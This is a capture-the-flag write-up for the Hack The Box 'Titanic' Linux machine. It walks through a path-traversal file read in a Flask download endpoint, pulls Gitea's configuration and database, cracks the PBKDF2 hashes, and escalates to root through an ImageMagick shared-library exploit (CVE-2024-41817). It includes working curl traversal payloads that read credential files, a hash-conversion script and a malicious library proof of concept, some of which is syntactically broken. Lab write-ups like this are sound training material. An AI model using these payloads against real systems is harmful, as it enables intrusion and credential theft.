# Titanic Linux

## Executive Summary

The **initial access** was obtained through an **arbitrary file read vulnerability** in the `/download` endpoint, allowing retrieving sensitive files such as  Gitea’s configuration. By extracting **Gitea’s database**, hashed credentials were recovered and cracked using `hashcat`, providing access to the **developer** account.

Further enumeration revealed a vulnerability in **ImageMagick** due to an insecure script (`identify_images.sh`). Since the **image directory was writable**, an attacker could exploit **CVE-2024-41817** to read arbitrary files, including sensitive system data, leading to further privilege escalation.

## Challenge Information

* **Name:** Titanic
* **Platform:** Hack The Box (HTB)
* **Category:** Gitea (Linux)
* **Difficulty:** Easy
* **Objective:** Exploit Gitea and Web Application to retrieve the flag.
* **Tags:** `Gitea`, `Imagemagick`
* **Key Exploit:** `LFI`, `CVE-2024-41817`

## Machine Information

* **IP Address:** `10.10.11.55`
* **Domain:** `titanic.htb` , `dev.titanic.htb`
* **Services:** `Flask Web App`, `Gitea`, `ImageMagick`

## Enumeration & Exploitation

### Service Discovery (nmap)

A full port scan was conducted to identify open services.

`nmap -sC -sV -p- 10.10.11.55`

Discovered Open Ports & Services:

| Port | Services            | Description                                                                                                                                               |
| ---- | ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 22   | OpenSSH 8.9p1       | open-source version of the Secure Shell (SSH) tools used by administrators of Linux and other non-Windows for cross-platform management of remote systems |
| 80   | Apache httpd 2.4.52 | Apache HyperText Transfer Protocol (HTTP) server program                                                                                                  |

> Key Finding:&#x20;
>
> * The machine DNS: titanic`.htb`.

Before proceeding with enumeration and exploitation, add the target machine’s IP and domain name to `/etc/hosts` for easier interaction with services.

`echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts`

### Subdomain Discovery

To finish enumeration part, scan subdomain to identify any active subdomain belonging to `titanic.htb.`

`gobuster dns -d titanic.htb -w ~/path/to/subdomains-top1million-110000.txt -t 50`

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FHnxGloObootDWEjHtQMh%2Fimage.png?alt=media&#x26;token=80003f38-94ee-4656-8e55-200f5c11c2dc" alt=""><figcaption><p>gobuster result</p></figcaption></figure>

Result found `dev.titanic.htb.`

## Initial Access via Local File Inclusion (LFI)

Visiting `dev.titanic.htb` revealed a **Gitea** instance.&#x20;

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FutosRMdZES8J9e0B38dX%2Fimage.png?alt=media&#x26;token=c0250195-ecd8-4ea1-b087-5f90423bf7ff" alt=""><figcaption><p>Gitea landing page at dev.titanic.htb</p></figcaption></figure>

A dummy account was registered:

`smallcurl:smallcurl`

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FwnNJF1DVEGb3b7yY3TV1%2Fimage.png?alt=media&#x26;token=8fc6cabe-16f4-48aa-9201-4754c3716c0a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FQErozaX3x7mWq2eAujKA%2Fimage.png?alt=media&#x26;token=4c8a23df-9360-46b0-a11f-3c88c3de1d6f" alt=""><figcaption><p>Succesfully create and login as smallcurl.</p></figcaption></figure>

In the `/expore/repo`, the configuration file and flask application, which reflect to the  `titanic.htb`.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2F6IMVSH97vTRacM4Bjg8Q%2Fimage.png?alt=media&#x26;token=b8ef6db1-5978-40b5-af28-72cb68f6e0fe" alt=""><figcaption><p>Gitea repository</p></figcaption></figure>

Inside the repository `/developer/flask-app`, the **Flask application source code** was found.

### Identify LFI in the Source Code

In the `flask-app/app.py`, we can identify vulnerable code that has been used.&#x20;

```
/@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

```

{% hint style="danger" %}
**Issue:** No input validation on `ticket`, leading to **arbitrary file read (LFI)**.
{% endhint %}

At the endpoint `/download` the file being called directly without proper sanitization led to Local File Inclusion.

The vulnerable request will look like

`http://IPtarget/download?ticket=/etc/passwd`

### Sensitive Information Exposure

Moving to `/docker-config`, we can see volumes being initiallized `/home/developer/gitea/data`

{% hint style="info" %}
Persistent storage is crucial for many applications. Docker Compose makes it easy to define and manage volumes, ensuring that your data is stored consistently and can be accessed by the appropriate services
{% endhint %}

Since we already know the location, we can construct full payload to read sensitive information.

`/home/developer/gitea/data/gitea/data/conf/app.ini`

`/home/developer/gitea/data/gitea/gitae.db`

Exploitation is running using `titanic.htb`

### titanic.htb

Once visiting the page, it appears to have booking and download directory based on finding previous.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FVRxGe45pSHDtYu1Iw7DH%2Fimage.png?alt=media&#x26;token=ca137687-07ac-4e93-8c3c-bbca25077a74" alt=""><figcaption></figcaption></figure>

#### Proof of LFI

Since we have already constructed the payload, let's prove it.&#x20;

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2F2riEh7Ti87QL0igH0kZ0%2Fimage.png?alt=media&#x26;token=85b4e7f1-f9bd-4dcc-aed4-25c9f5294e72" alt=""><figcaption></figcaption></figure>

## Initial Access as Developer

We can read sensitive data give the permission to done initial access as developer.&#x20;

```
curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/conf/app.ini                                                                                                                              12:07AM 
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable
--- snippet --

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

```

From the information, we can retrieve information from gitea.db

`curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db -o databse.db`

To read the database, we can use any SQLite browser application. I'm using [online ](https://inloop.github.io/sqlite-viewer/)sqlite to read the database.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FVw19o645zoYOdBJ9BRDp%2Fimage.png?alt=media&#x26;token=2e40aec1-3ab5-4ebf-8352-09a1834a08c7" alt=""><figcaption></figcaption></figure>

### Cracking Hashed Passwords

We have the hash and algorithm being used to store passwords.&#x20;

{% hint style="info" %}
The hash format for PBKDF2 on the example hashes page for Hashcat looks like this:&#x20;

sha256:$iteration:$salt:$digest
{% endhint %}

From the database, I have the digest (passwd) and salt, as well as the algo field says `pbkdf2$50000$50`, which suggests the rounds or iterations is 50000. From the example hash, it seems clear that the salt and digest are in base64 format, not hex

`database.db "select passwd from user" | while read hash; do echo "$hash" | xxd -r -p | base64; done"`

```
import sqlite3
import base64
import binascii
import hashlib


DB_FILE = "data.db"


QUERY = "SELECT passwd, salt, name FROM user;"

def pbkdf2_format(passwd_hex, salt_hex, iterations, name):
    
    passwd_bytes = binascii.unhexlify(passwd_hex)
    salt_bytes = binascii.unhexlify(salt_hex)

    
    salt_b64 = base64.b64encode(salt_bytes).decode()

    
    hash_b64 = base64.b64encode(passwd_bytes).decode()

    
    return f"{name}:sha256:{iterations}:{salt_b64}:{hash_b64}"

def main():
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute(QUERY)
    users = cursor.fetchall()

    with open("hashes.txt", "w") as f:
        for passwd, salt, name in users:
            formatted_hash = pbkdf2_format(passwd, salt, 50000, name)
            print(formatted_hash)  
            f.write(formatted_hash + "\n")  

    conn.close()

if __name__ == "__main__":
    main()
```

Once we get the hash, the next step is to crack it using hashcat.&#x20;

`hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user`

## Privilege Escalation – ImageMagisk

Once we get the credential from the cracked hash, we can log in as developer.&#x20;

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2Ft4SNlvVtXLtv6TYkfi5p%2Fimage.png?alt=media&#x26;token=60ce7a32-c2a9-4fdf-ae28-198aea31cf17" alt=""><figcaption></figcaption></figure>

### Identifying Script and CVE

In `/opt`folder, we notice 3 directories, which are `/app`, `/containerd` and `/scripts`.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FVW29c2n9WT3lOTRPRPtG%2Fimage.png?alt=media&#x26;token=61bdf2c6-f67e-4d7d-b70f-64e85f67786d" alt=""><figcaption></figcaption></figure>

In `/opt/scripts/`The following script was found:

```
developer@titanic:/opt/scripts$ ls
identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

{% hint style="danger" %}
**Issue:** The directory `/opt/app/static/assets/images/` is **writable**, meaning malicious images can be uploaded and processed by `magick identify`.
{% endhint %}

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FyhwJvrO4guSbKJ8tRKbc%2Fimage.png?alt=media&#x26;token=e3f4fcaf-f6eb-4193-8b51-be7c020d7c79" alt=""><figcaption></figcaption></figure>

Using **CVE-2024-41817**, a crafted `libxcb.so.1` was uploaded to force ImageMagick to read arbitrary files:

`Follow the POC to read sensitive file.`

```bash
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){system("cp /root/root.txt /tmp/kenapaayam.txt";chmod 777 kenapaayam.txt);exit(0);}
EOF
```

## **Conclusion**

This machine demonstrated the risks of **insufficient input validation (LFI)** and **exploitable third-party applications (ImageMagick RCE)**.

#### **Key Takeaways:**

* **Sanitize user inputs** to prevent **arbitrary file read (LFI).**
* **Encrypt stored passwords** and enforce **strong hashing algorithms**.
* **Restrict writable directories** for web applications.
* **Update ImageMagick** to mitigate **CVE-2024-41817**.

This challenge highlighted **web application vulnerabilities**, **credential cracking**, and **privilege escalation through misconfigured services**, ultimately leading to **full system compromise**..
